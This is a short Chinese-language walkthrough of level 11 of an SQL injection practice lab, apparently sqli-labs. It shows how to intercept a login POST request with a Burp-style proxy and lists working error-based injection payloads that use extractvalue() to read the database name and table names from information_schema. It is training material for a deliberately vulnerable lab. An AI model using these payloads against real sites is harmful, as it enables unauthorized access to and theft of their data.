11关为POST提交
则我们可以借助工具:BurpLoader
将浏览器设置代理为127.0.0.1
在Burploader中设置代理
在其中添加 127.0.0.1:8080 并在前方的Running复选框打上勾
在工具中打开拦截
此时我们在浏览器中的任何数据都会被拦截
在数据报中右键选择Send to Repeater
我们再进入Repeater选项卡然后修改数据包后 点GO发送
uname=admin'&passwd=admin&submit=Submit
发送后报错
单引号成功构造闭合
uname=admin' order by 2 --+&passwd=admin&submit=Submit
extractvalue() :对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
uname=admin' and extractvalue(1,concat(0,(select database())))--+&passwd=admin&submit=Submit
uname=admin' and extractvalue(1,concat(0,(select table_name from information_schema.tables where table_schema='security')))--+&passwd=admin&submit=Submit